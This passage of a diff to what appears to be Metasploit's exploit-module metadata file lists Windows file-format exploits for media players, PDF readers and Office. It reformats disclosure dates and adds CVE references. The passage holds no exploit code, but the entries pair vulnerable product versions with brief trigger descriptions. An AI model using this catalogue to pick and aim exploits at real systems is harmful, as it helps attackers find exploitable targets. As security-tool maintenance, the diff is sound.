Action Stack Based Buffer Overflow", "full_name": "exploit/windows/fileformat/foxit_reader_launch", "rank": 400, - "disclosure_date": "2009-03-09 00:00:00 -0500", + "disclosure_date": "2009-03-09", "type": "exploit", "author": [ "Francisco Falcon", @@ -63166,7 +61130,7 @@ "name": "Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/foxit_title_bof", "rank": 500, - "disclosure_date": "2010-11-13 00:00:00 -0600", + "disclosure_date": "2010-11-13", "type": "exploit", "author": [ "dookie", @@ -63197,7 +61161,7 @@ "name": "Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/free_mp3_ripper_wav", "rank": 500, - "disclosure_date": "2011-08-27 00:00:00 -0500", + "disclosure_date": "2011-08-27", "type": "exploit", "author": [ "Richard Leahy", @@ -63207,6 +61171,7 @@ ], "description": "This module exploits a stack based buffer overflow found in Free MP3 CD\n Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious\n WAV file.", "references": [ + "CVE-2011-5165", "OSVDB-63349", "EDB-11975", "EDB-17727" @@ -63228,7 +61193,7 @@ "name": "gAlan 0.2.1 Buffer Overflow", "full_name": "exploit/windows/fileformat/galan_fileformat_bof", "rank": 300, - "disclosure_date": "2009-12-07 00:00:00 -0600", + "disclosure_date": "2009-12-07", "type": "exploit", "author": [ "Jeremy Brown <0xjbrown41@gmail.com>", @@ -63256,7 +61221,7 @@ "name": "GSM SIM Editor 5.15 Buffer Overflow", "full_name": "exploit/windows/fileformat/gsm_sim", "rank": 300, - "disclosure_date": "2010-07-07 00:00:00 -0500", + "disclosure_date": "2010-07-07", "type": "exploit", "author": [ "Ruben Alejandro", @@ -63265,6 +61230,7 @@ ], "description": "This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.\n When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer\n overflow occurs which allows an attacker to execute arbitrary code.", "references": [ + "CVE-2015-1171", "OSVDB-81161", "EDB-14258" ], @@ -63285,7 +61251,7 @@ "name": "GTA SA-MP server.cfg Buffer Overflow", "full_name": "exploit/windows/fileformat/gta_samp", "rank": 300, - "disclosure_date": "2011-09-18 00:00:00 -0500", + "disclosure_date": "2011-09-18", "type": "exploit", "author": [ "Silent_Dream" @@ -63312,7 +61278,7 @@ "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "full_name": "exploit/windows/fileformat/hhw_hhp_compiledfile_bof", "rank": 400, - "disclosure_date": "2006-02-06 00:00:00 -0600", + "disclosure_date": "2006-02-06", "type": "exploit", "author": [ "bratax", @@ -63342,7 +61308,7 @@ "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "full_name": "exploit/windows/fileformat/hhw_hhp_contentfile_bof", "rank": 400, - "disclosure_date": "2006-02-06 00:00:00 -0600", + "disclosure_date": "2006-02-06", "type": "exploit", "author": [ "bratax", @@ -63372,7 +61338,7 @@ "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "full_name": "exploit/windows/fileformat/hhw_hhp_indexfile_bof", "rank": 400, - "disclosure_date": "2009-01-17 00:00:00 -0600", + "disclosure_date": "2009-01-17", "type": "exploit", "author": [ "Encrypt3d.M!nd", @@ -63404,7 +61370,7 @@ "name": "Heroes of Might and Magic III .h3m Map file Buffer Overflow", "full_name": "exploit/windows/fileformat/homm3_h3m", "rank": 300, - "disclosure_date": "2015-07-29 00:00:00 -0500", + "disclosure_date": "2015-07-29", "type": "exploit", "author": [ "Pierre Lindblad", @@ -63433,7 +61399,7 @@ "name": "HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow", "full_name": "exploit/windows/fileformat/ht_mp3player_ht3_bof", "rank": 400, - "disclosure_date": "2009-06-29 00:00:00 -0500", + "disclosure_date": "2009-06-29", "type": "exploit", "author": [ "hack4love ", @@ -63464,7 +61430,7 @@ "name": "IBM Forms Viewer Unicode Buffer Overflow", "full_name": "exploit/windows/fileformat/ibm_forms_viewer_fontname", "rank": 300, - "disclosure_date": "2013-12-05 00:00:00 -0600", + "disclosure_date": "2013-12-05", "type": "exploit", "author": [ "rgod ", @@ -63494,7 +61460,7 @@ "name": "IBM Personal Communications iSeries Access WorkStation 5.9 Profile", "full_name": "exploit/windows/fileformat/ibm_pcm_ws", "rank": 500, - "disclosure_date": "2012-02-28 00:00:00 -0600", + "disclosure_date": "2012-02-28", "type": "exploit", "author": [ "TecR0c " @@ -63523,7 +61489,7 @@ "name": "IcoFX Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/icofx_bof", "rank": 300, - "disclosure_date": "2013-12-10 00:00:00 -0600", + "disclosure_date": "2013-12-10", "type": "exploit", "author": [ "Marcos Accossatto", @@ -63554,7 +61520,7 @@ "name": "PointDev IDEAL Migration Buffer Overflow", "full_name": "exploit/windows/fileformat/ideal_migration_ipj", "rank": 500, - "disclosure_date": "2009-12-05 00:00:00 -0600", + "disclosure_date": "2009-12-05", "type": "exploit", "author": [ "Dr_IDE", @@ -63588,7 +61554,7 @@ "name": "i-FTP Schedule Buffer Overflow", "full_name": "exploit/windows/fileformat/iftp_schedule_bof", "rank": 300, - "disclosure_date": "2014-11-06 00:00:00 -0600", + "disclosure_date": "2014-11-06", "type": "exploit", "author": [ "metacom", @@ -63616,7 +61582,7 @@ "name": "Irfanview JPEG2000 jp2 Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/irfanview_jpeg2000_bof", "rank": 300, - "disclosure_date": "2012-01-16 00:00:00 -0600", + "disclosure_date": "2012-01-16", "type": "exploit", "author": [ "Parvez Anwar ", @@ -63647,7 +61613,7 @@ "name": "Lattice Semiconductor ispVM System XCF File Handling Overflow", "full_name": "exploit/windows/fileformat/ispvm_xcf_ispxcf", "rank": 300, - "disclosure_date": "2012-05-16 00:00:00 -0500", + "disclosure_date": "2012-05-16", "type": "exploit", "author": [ "Unknown", @@ -63676,7 +61642,7 @@ "name": "KingView Log File Parsing Buffer Overflow", "full_name": "exploit/windows/fileformat/kingview_kingmess_kvl", "rank": 300, - "disclosure_date": "2012-11-20 00:00:00 -0600", + "disclosure_date": "2012-11-20", "type": "exploit", "author": [ "Lucas Apa", @@ -63707,7 +61673,7 @@ "name": "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow", "full_name": "exploit/windows/fileformat/lattice_pac_bof", "rank": 300, - "disclosure_date": "2012-05-16 00:00:00 -0500", + "disclosure_date": "2012-05-16", "type": "exploit", "author": [ "Unknown", @@ -63739,7 +61705,7 @@ "name": "Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)", "full_name": "exploit/windows/fileformat/lotusnotes_lzh", "rank": 400, - "disclosure_date": "2011-05-24 00:00:00 -0500", + "disclosure_date": "2011-05-24", "type": "exploit", "author": [ "binaryhouse.net", @@ -63771,7 +61737,7 @@ "name": "Magix Musik Maker 16 .mmm Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/magix_musikmaker_16_mmm", "rank": 400, - "disclosure_date": "2011-04-26 00:00:00 -0500", + "disclosure_date": "2011-04-26", "type": "exploit", "author": [ "acidgen", @@ -63799,7 +61765,7 @@ "name": "McAfee Remediation Client ActiveX Control Buffer Overflow", "full_name": "exploit/windows/fileformat/mcafee_hercules_deletesnapshot", "rank": 100, - "disclosure_date": "2008-08-04 00:00:00 -0500", + "disclosure_date": "2008-08-04", "type": "exploit", "author": [ "MC " @@ -63826,7 +61792,7 @@ "name": "McAfee SaaS MyCioScan ShowReport Remote Command Execution", "full_name": "exploit/windows/fileformat/mcafee_showreport_exec", "rank": 300, - "disclosure_date": "2012-01-12 00:00:00 -0600", + "disclosure_date": "2012-01-12", "type": "exploit", "author": [ "rgod", @@ -63855,7 +61821,7 @@ "name": "MediaCoder .M3U Buffer Overflow", "full_name": "exploit/windows/fileformat/mediacoder_m3u", "rank": 300, - "disclosure_date": "2013-06-24 00:00:00 -0500", + "disclosure_date": "2013-06-24", "type": "exploit", "author": [ "metacom", @@ -63864,6 +61830,7 @@ ], "description": "This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability\n occurs when adding an .m3u, allowing arbitrary code execution under the context\n of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder\n runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539\n to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.", "references": [ + "CVE-2017-8869", "OSVDB-94522", "EDB-26403" ], @@ -63884,7 +61851,7 @@ "name": "Media Jukebox 8.0.400 Buffer Overflow (SEH)", "full_name": "exploit/windows/fileformat/mediajukebox", "rank": 300, - "disclosure_date": "2009-07-01 00:00:00 -0500", + "disclosure_date": "2009-07-01", "type": "exploit", "author": [ "Ron Henry ", @@ -63913,13 +61880,14 @@ "name": "MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/microp_mppl", "rank": 500, - "disclosure_date": "2010-08-23 00:00:00 -0500", + "disclosure_date": "2010-08-23", "type": "exploit", "author": [ "James Fitts " ], "description": "This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based\n buffer overflow occurs when the content of a .mppl file gets copied onto the stack,\n which overwrites the lpFileName parameter of a CreateFileA() function, and results\n arbitrary code execution under the context of the user.", "references": [ + "CVE-2010-5299", "OSVDB-73627", "EDB-14720" ], @@ -63940,7 +61908,7 @@ "name": "Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/millenium_mp3_pls", "rank": 500, - "disclosure_date": "2009-07-30 00:00:00 -0500", + "disclosure_date": "2009-07-30", "type": "exploit", "author": [ "Molotov", @@ -63970,7 +61938,7 @@ "name": "Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/mini_stream_pls_bof", "rank": 500, - "disclosure_date": "2010-07-16 00:00:00 -0500", + "disclosure_date": "2010-07-16", "type": "exploit", "author": [ "Madjix", @@ -63979,6 +61947,7 @@ ], "description": "This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3\n Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim\n opens the malicious PLS file.", "references": [ + "CVE-2010-5081", "OSVDB-78078", "EDB-14373", "BID-34514" @@ -64000,7 +61969,7 @@ "name": "MJM Core Player 2011 .s3m Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/mjm_coreplayer2011_s3m", "rank": 400, - "disclosure_date": "2011-04-30 00:00:00 -0500", + "disclosure_date": "2011-04-30", "type": "exploit", "author": [ "rick2600", @@ -64028,7 +61997,7 @@ "name": "MJM QuickPlayer 1.00 Beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/mjm_quickplayer_s3m", "rank": 400, - "disclosure_date": "2011-04-30 00:00:00 -0500", + "disclosure_date": "2011-04-30", "type": "exploit", "author": [ "rick2600", @@ -64056,7 +62025,7 @@ "name": "MOXA MediaDBPlayback ActiveX Control Buffer Overflow", "full_name": "exploit/windows/fileformat/moxa_mediadbplayback", "rank": 200, - "disclosure_date": "2010-10-19 00:00:00 -0500", + "disclosure_date": "2010-10-19", "type": "exploit", "author": [ "MC " @@ -64084,7 +62053,7 @@ "name": "MPlayer Lite M3U Buffer Overflow", "full_name": "exploit/windows/fileformat/mplayer_m3u_bof", "rank": 200, - "disclosure_date": "2011-03-19 00:00:00 -0500", + "disclosure_date": "2011-03-19", "type": "exploit", "author": [ "C4SS!0 and h1ch4m", @@ -64113,7 +62082,7 @@ "name": "MPlayer SAMI Subtitle File Buffer Overflow", "full_name": "exploit/windows/fileformat/mplayer_sami_bof", "rank": 300, - "disclosure_date": "2011-05-19 00:00:00 -0500", + "disclosure_date": "2011-05-19", "type": "exploit", "author": [ "Jacques Louw", @@ -64142,7 +62111,7 @@ "name": "MS09-067 Microsoft Excel Malformed FEATHEADER Record Vulnerability", "full_name": "exploit/windows/fileformat/ms09_067_excel_featheader", "rank": 400, - "disclosure_date": "2009-11-10 00:00:00 -0600", + "disclosure_date": "2009-11-10", "type": "exploit", "author": [ "Sean Larsson", @@ -64178,7 +62147,7 @@ "name": "MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/ms10_004_textbytesatom", "rank": 400, - "disclosure_date": "2010-02-09 00:00:00 -0600", + "disclosure_date": "2010-02-09", "type": "exploit", "author": [ "SkD", @@ -64212,7 +62181,7 @@ "name": "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", "full_name": "exploit/windows/fileformat/ms10_038_excel_obj_bof", "rank": 300, - "disclosure_date": "2010-06-08 00:00:00 -0500", + "disclosure_date": "2010-06-08", "type": "exploit", "author": [ "Nicolas Joly", @@ -64245,7 +62214,7 @@ "name": "MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)", "full_name": "exploit/windows/fileformat/ms10_087_rtf_pfragments_bof", "rank": 500, - "disclosure_date": "2010-11-09 00:00:00 -0600", + "disclosure_date": "2010-11-09", "type": "exploit", "author": [ "wushi of team509", @@ -64284,7 +62253,7 @@ "name": "MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/ms11_006_createsizeddibsection", "rank": 500, - "disclosure_date": "2010-12-15 00:00:00 -0600", + "disclosure_date": "2010-12-15", "type": "exploit", "author": [ "Moti & Xu Hao", @@ -64319,7 +62288,7 @@ "name": "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow", "full_name": "exploit/windows/fileformat/ms11_021_xlb_bof", "rank": 300, - "disclosure_date": "2011-08-09 00:00:00 -0500", + "disclosure_date": "2011-08-09", "type": "exploit", "author": [ "Aniway", @@ -64352,7 +62321,7 @@ "name": "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", "full_name": "exploit/windows/fileformat/ms12_005", "rank": 600, - "disclosure_date": "2012-01-10 00:00:00 -0600", + "disclosure_date": "2012-01-10", "type": "exploit", "author": [ "Yorick Koster", @@ -64384,7 +62353,7 @@ "name": "MS12-027 MSCOMCTL ActiveX Buffer Overflow", "full_name": "exploit/windows/fileformat/ms12_027_mscomctl_bof", "rank": 200, - "disclosure_date": "2012-04-10 00:00:00 -0500", + "disclosure_date": "2012-04-10", "type": "exploit", "author": [ "Unknown", @@ -64417,7 +62386,7 @@ "name": "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution", "full_name": "exploit/windows/fileformat/ms13_071_theme", "rank": 600, - "disclosure_date": "2013-09-10 00:00:00 -0500", + "disclosure_date": "2013-09-10", "type": "exploit", "author": [ "Eduardo Prado", @@ -64450,7 +62419,7 @@ "name": "MS14-017 Microsoft Word RTF Object Confusion", "full_name": "exploit/windows/fileformat/ms14_017_rtf", "rank": 300, - "disclosure_date": "2014-04-01 00:00:00 -0500", + "disclosure_date": "2014-04-01", "type": "exploit", "author": [ "Haifei Li", @@ -64481,7 +62450,7 @@ "name": "MS14-060 Microsoft Windows OLE Package Manager Code Execution", "full_name": "exploit/windows/fileformat/ms14_060_sandworm", "rank": 600, - "disclosure_date": "2014-10-14 00:00:00 -0500", + "disclosure_date": "2014-10-14", "type": "exploit", "author": [ "Unknown", @@ -64514,7 +62483,7 @@ "name": "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python", "full_name": "exploit/windows/fileformat/ms14_064_packager_python", "rank": 600, - "disclosure_date": "2014-11-12 00:00:00 -0600", + "disclosure_date": "2014-11-12", "type": "exploit", "author": [ "Haifei Li", @@ -64545,7 +62514,7 @@ "name": "MS14-064 Microsoft Windows OLE Package Manager Code Execution", "full_name": "exploit/windows/fileformat/ms14_064_packager_run_as_admin", "rank": 600, - "disclosure_date": "2014-10-21 00:00:00 -0500", + "disclosure_date": "2014-10-21", "type": "exploit", "author": [ "Haifei Li", @@ -64576,7 +62545,7 @@ "name": "Microsoft Windows Shell LNK Code Execution", "full_name": "exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader", "rank": 600, - "disclosure_date": "2015-03-10 00:00:00 -0500", + "disclosure_date": "2015-03-10", "type": "exploit", "author": [ "Michael Heerklotz", @@ -64606,7 +62575,7 @@ "name": "MS15-100 Microsoft Windows Media Center MCL Vulnerability", "full_name": "exploit/windows/fileformat/ms15_100_mcl_exe", "rank": 600, - "disclosure_date": "2015-09-08 00:00:00 -0500", + "disclosure_date": "2015-09-08", "type": "exploit", "author": [ "sinn3r " @@ -64633,7 +62602,7 @@ "name": "Microsoft Visual Basic VBP Buffer Overflow", "full_name": "exploit/windows/fileformat/ms_visual_basic_vbp", "rank": 400, - "disclosure_date": "2007-09-04 00:00:00 -0500", + "disclosure_date": "2007-09-04", "type": "exploit", "author": [ "MC " @@ -64661,7 +62630,7 @@ "name": "MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow", "full_name": "exploit/windows/fileformat/mswin_tiff_overflow", "rank": 200, - "disclosure_date": "2013-11-05 00:00:00 -0600", + "disclosure_date": "2013-11-05", "type": "exploit", "author": [ "Unknown", @@ -64692,7 +62661,7 @@ "name": "Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution", "full_name": "exploit/windows/fileformat/msworks_wkspictureinterface", "rank": 100, - "disclosure_date": "2008-11-28 00:00:00 -0600", + "disclosure_date": "2008-11-28", "type": "exploit", "author": [ "dean " @@ -64719,7 +62688,7 @@ "name": "Steinberg MyMP3Player 3.0 Buffer Overflow", "full_name": "exploit/windows/fileformat/mymp3player_m3u", "rank": 400, - "disclosure_date": "2010-03-18 00:00:00 -0500", + "disclosure_date": "2010-03-18", "type": "exploit", "author": [ "n3w7u", @@ -64749,7 +62718,7 @@ "name": "NetOp Remote Control Client 9.5 Buffer Overflow", "full_name": "exploit/windows/fileformat/netop", "rank": 300, - "disclosure_date": "2011-04-28 00:00:00 -0500", + "disclosure_date": "2011-04-28", "type": "exploit", "author": [ "Ruben Alejandro \"chap0\"" @@ -64776,7 +62745,7 @@ "name": "Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution", "full_name": "exploit/windows/fileformat/nitro_reader_jsapi", "rank": 600, - "disclosure_date": "2017-07-24 00:00:00 -0500", + "disclosure_date": "2017-07-24", "type": "exploit", "author": [ "mr_me ", @@ -64806,7 +62775,7 @@ "name": "Nuance PDF Reader v6.0 Launch Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/nuance_pdf_launch_overflow", "rank": 500, - "disclosure_date": "2010-10-08 00:00:00 -0500", + "disclosure_date": "2010-10-08", "type": "exploit", "author": [ "corelanc0d3r ", @@ -64834,7 +62803,7 @@ "name": "Microsoft Office DDE Payload Delivery", "full_name": "exploit/windows/fileformat/office_dde_delivery", "rank": 0, - "disclosure_date": "2017-10-09 00:00:00 -0500", + "disclosure_date": "2017-10-09", "type": "exploit", "author": [ "mumbai" @@ -64861,7 +62830,7 @@ "name": "Microsoft Office CVE-2017-11882", "full_name": "exploit/windows/fileformat/office_ms17_11882", "rank": 0, - "disclosure_date": "2017-11-15 00:00:00 -0600", + "disclosure_date": "2017-11-15", "type": "exploit", "author": [ "mumbai", @@ -64889,7 +62858,7 @@ "name": "Office OLE Multiple DLL Side Loading Vulnerabilities", "full_name": "exploit/windows/fileformat/office_ole_multiple_dll_hijack", "rank": 300, - "disclosure_date": "2015-12-08 00:00:00 -0600", + "disclosure_date": "2015-12-08", "type": "exploit", "author": [ "Yorick Koster" @@ -64947,7 +62916,7 @@ "name": "Microsoft Office Word Malicious Hta Execution", "full_name": "exploit/windows/fileformat/office_word_hta", "rank": 600, - "disclosure_date": "2017-04-14 00:00:00 -0500", + "disclosure_date": "2017-04-14", "type": "exploit", "author": [ "Haifei Li", @@ -64992,7 +62961,7 @@ "name": "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow", "full_name": "exploit/windows/fileformat/openoffice_ole", "rank": 300, - "disclosure_date": "2008-04-17 00:00:00 -0500", + "disclosure_date": "2008-04-17", "type": "exploit", "author": [ "Marsu ", @@ -65023,7 +62992,7 @@ "name": "Orbit Downloader URL Unicode Conversion Overflow", "full_name": "exploit/windows/fileformat/orbit_download_failed_bof", "rank": 300, - "disclosure_date": "2008-04-03 00:00:00 -0500", + "disclosure_date": "2008-04-03", "type": "exploit", "author": [ "Diego Juarez", @@ -65054,7 +63023,7 @@ "name": "Orbital Viewer ORB File Parsing Buffer Overflow", "full_name": "exploit/windows/fileformat/orbital_viewer_orb", "rank": 500, - "disclosure_date": "2010-02-27 00:00:00 -0600", + "disclosure_date": "2010-02-27", "type": "exploit", "author": [ "jduck " @@ -65084,7 +63053,7 @@ "name": "VMWare OVF Tools Format String Vulnerability", "full_name": "exploit/windows/fileformat/ovf_format_string", "rank": 300, - "disclosure_date": "2012-11-08 00:00:00 -0600", + "disclosure_date": "2012-11-08", "type": "exploit", "author": [ "Jeremy Brown", @@ -65114,7 +63083,7 @@ "name": "ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/proshow_cellimage_bof", "rank": 500, - "disclosure_date": "2009-08-20 00:00:00 -0500", + "disclosure_date": "2009-08-20", "type": "exploit", "author": [ "jduck " @@ -65143,7 +63112,7 @@ "name": "Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow", "full_name": "exploit/windows/fileformat/proshow_load_bof", "rank": 300, - "disclosure_date": "2012-06-06 00:00:00 -0500", + "disclosure_date": "2012-06-06", "type": "exploit", "author": [ "Julien Ahrens", @@ -65174,7 +63143,7 @@ "name": "Publish-It PUI Buffer Overflow (SEH)", "full_name": "exploit/windows/fileformat/publishit_pui", "rank": 300, - "disclosure_date": "2014-02-05 00:00:00 -0600", + "disclosure_date": "2014-02-05", "type": "exploit", "author": [ "Daniel Kazimirow", @@ -65203,7 +63172,7 @@ "name": "Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability", "full_name": "exploit/windows/fileformat/real_networks_netzip_bof", "rank": 400, - "disclosure_date": "2011-01-30 00:00:00 -0600", + "disclosure_date": "2011-01-30", "type": "exploit", "author": [ "C4SS!0 G0M3S", @@ -65234,7 +63203,7 @@ "name": "RealPlayer RealMedia File Handling Buffer Overflow", "full_name": "exploit/windows/fileformat/real_player_url_property_bof", "rank": 300, - "disclosure_date": "2012-12-14 00:00:00 -0600", + "disclosure_date": "2012-12-14", "type": "exploit", "author": [ "suto " @@ -65263,7 +63232,7 @@ "name": "RealNetworks RealPlayer Version Attribute Buffer Overflow", "full_name": "exploit/windows/fileformat/realplayer_ver_attribute_bof", "rank": 300, - "disclosure_date": "2013-12-20 00:00:00 -0600", + "disclosure_date": "2013-12-20", "type": "exploit", "author": [ "Gabor Seljan" @@ -65294,7 +63263,7 @@ "name": "SafeNet SoftRemote GROUPNAME Buffer Overflow", "full_name": "exploit/windows/fileformat/safenet_softremote_groupname", "rank": 400, - "disclosure_date": "2009-10-30 00:00:00 -0500", + "disclosure_date": "2009-10-30", "type": "exploit", "author": [ "MC " @@ -65325,7 +63294,7 @@ "name": "SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow", "full_name": "exploit/windows/fileformat/sascam_get", "rank": 100, - "disclosure_date": "2008-12-29 00:00:00 -0600", + "disclosure_date": "2008-12-29", "type": "exploit", "author": [ "dean " @@ -65353,7 +63322,7 @@ "name": "ScadaTEC ScadaPhone Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/scadaphone_zip", "rank": 400, - "disclosure_date": "2011-09-12 00:00:00 -0500", + "disclosure_date": "2011-09-12", "type": "exploit", "author": [ "mr_me " @@ -65382,7 +63351,7 @@ "name": "Shadow Stream Recorder 3.0.1.7 Buffer Overflow", "full_name": "exploit/windows/fileformat/shadow_stream_recorder_bof", "rank": 300, - "disclosure_date": "2010-03-29 00:00:00 -0500", + "disclosure_date": "2010-03-29", "type": "exploit", "author": [ "AlpHaNiX ", @@ -65390,6 +63359,7 @@ ], "description": "This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.\n Using the application to open a specially crafted asx file, a buffer\n overflow may occur to allow arbitrary code execution under the context\n of the user.", "references": [ + "CVE-2009-1641", "OSVDB-81487", "EDB-11957", "BID-34864" @@ -65411,7 +63381,7 @@ "name": "PDF Shaper Buffer Overflow", "full_name": "exploit/windows/fileformat/shaper_pdf_bof", "rank": 300, - "disclosure_date": "2015-10-03 00:00:00 -0500", + "disclosure_date": "2015-10-03", "type": "exploit", "author": [ "metacom27 ", @@ -65438,7 +63408,7 @@ "name": "S.O.M.P.L 1.0 Player Buffer Overflow", "full_name": "exploit/windows/fileformat/somplplayer_m3u", "rank": 500, - "disclosure_date": "2010-01-22 00:00:00 -0600", + "disclosure_date": "2010-01-22", "type": "exploit", "author": [ "Rick2600", @@ -65466,7 +63436,7 @@ "name": "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow", "full_name": "exploit/windows/fileformat/subtitle_processor_m3u_bof", "rank": 300, - "disclosure_date": "2011-04-26 00:00:00 -0500", + "disclosure_date": "2011-04-26", "type": "exploit", "author": [ "Brandon Murphy", @@ -65495,7 +63465,7 @@ "name": "Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow", "full_name": "exploit/windows/fileformat/syncbreeze_xml", "rank": 300, - "disclosure_date": "2017-03-29 00:00:00 -0500", + "disclosure_date": "2017-03-29", "type": "exploit", "author": [ "Daniel Teixeira" @@ -65522,7 +63492,7 @@ "name": "TFM MMPlayer (m3u/ppl File) Buffer Overflow", "full_name": "exploit/windows/fileformat/tfm_mmplayer_m3u_ppl_bof", "rank": 400, - "disclosure_date": "2012-03-23 00:00:00 -0500", + "disclosure_date": "2012-03-23", "type": "exploit", "author": [ "RjRjh Hack3r", @@ -65530,6 +63500,7 @@ ], "description": "This module exploits a buffer overflow in MMPlayer 2.2\n The vulnerability is triggered when opening a malformed M3U/PPL file\n that contains an overly long string, which results in overwriting a\n SEH record, thus allowing arbitrary code execution under the context\n of the user.", "references": [ + "CVE-2009-2566", "OSVDB-80532", "BID-52698", "EDB-18656", @@ -65552,7 +63523,7 @@ "name": "Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow", "full_name": "exploit/windows/fileformat/total_video_player_ini_bof", "rank": 300, - "disclosure_date": "2013-11-24 00:00:00 -0600", + "disclosure_date": "2013-11-24", "type": "exploit", "author": [ "Mike Czumak", @@ -65580,7 +63551,7 @@ "name": "TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability", "full_name": "exploit/windows/fileformat/tugzip", "rank": 400, - "disclosure_date": "2008-10-28 00:00:00 -0500", + "disclosure_date": "2008-10-28", "type": "exploit", "author": [ "Stefan Marin", @@ -65612,7 +63583,7 @@ "name": "UltraISO CCD File Parsing Buffer Overflow", "full_name": "exploit/windows/fileformat/ultraiso_ccd", "rank": 500, - "disclosure_date": "2009-04-03 00:00:00 -0500", + "disclosure_date": "2009-04-03", "type": "exploit", "author": [ "jduck " @@ -65643,7 +63614,7 @@ "name": "UltraISO CUE File Parsing Buffer Overflow", "full_name": "exploit/windows/fileformat/ultraiso_cue", "rank": 500, - "disclosure_date": "2007-05-24 00:00:00 -0500", + "disclosure_date": "2007-05-24", "type": "exploit", "author": [ "n00b", @@ -65674,7 +63645,7 @@ "name": "URSoft W32Dasm Disassembler Function Buffer Overflow", "full_name": "exploit/windows/fileformat/ursoft_w32dasm", "rank": 400, - "disclosure_date": "2005-01-24 00:00:00 -0600", + "disclosure_date": "2005-01-24", "type": "exploit", "author": [ "aushack " @@ -65703,7 +63674,7 @@ "name": "VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/varicad_dwb", "rank": 500, - "disclosure_date": "2010-03-17 00:00:00 -0500", + "disclosure_date": "2010-03-17", "type": "exploit", "author": [ "n00b", @@ -65734,7 +63705,7 @@ "name": "VideoCharge Studio Buffer Overflow (SEH)", "full_name": "exploit/windows/fileformat/videocharge_studio", "rank": 300, - "disclosure_date": "2013-10-27 00:00:00 -0500", + "disclosure_date": "2013-10-27", "type": "exploit", "author": [ "metacom", @@ -65763,7 +63734,7 @@ "name": "VideoLAN VLC TiVo Buffer Overflow", "full_name": "exploit/windows/fileformat/videolan_tivo", "rank": 400, - "disclosure_date": "2008-10-22 00:00:00 -0500", + "disclosure_date": "2008-10-22", "type": "exploit", "author": [ "MC " @@ -65792,7 +63763,7 @@ "name": "VeryTools Video Spirit Pro", "full_name": "exploit/windows/fileformat/videospirit_visprj", "rank": 400, - "disclosure_date": "2011-04-11 00:00:00 -0500", + "disclosure_date": "2011-04-11", "type": "exploit", "author": [ "Acidgen", @@ -65822,7 +63793,7 @@ "name": "Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability", "full_name": "exploit/windows/fileformat/visio_dxf_bof", "rank": 400, - "disclosure_date": "2010-05-04 00:00:00 -0500", + "disclosure_date": "2010-05-04", "type": "exploit", "author": [ "Unknown", @@ -65855,7 +63826,7 @@ "name": "VisiWave VWR File Parsing Vulnerability", "full_name": "exploit/windows/fileformat/visiwave_vwr_type", "rank": 500, - "disclosure_date": "2011-05-20 00:00:00 -0500", + "disclosure_date": "2011-05-20", "type": "exploit", "author": [ "mr_me ", @@ -65885,7 +63856,7 @@ "name": "VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow", "full_name": "exploit/windows/fileformat/vlc_modplug_s3m", "rank": 200, - "disclosure_date": "2011-04-07 00:00:00 -0500", + "disclosure_date": "2011-04-07", "type": "exploit", "author": [ "jduck " @@ -65914,7 +63885,7 @@ "name": "VLC Media Player RealText Subtitle Overflow", "full_name": "exploit/windows/fileformat/vlc_realtext", "rank": 400, - "disclosure_date": "2008-11-05 00:00:00 -0600", + 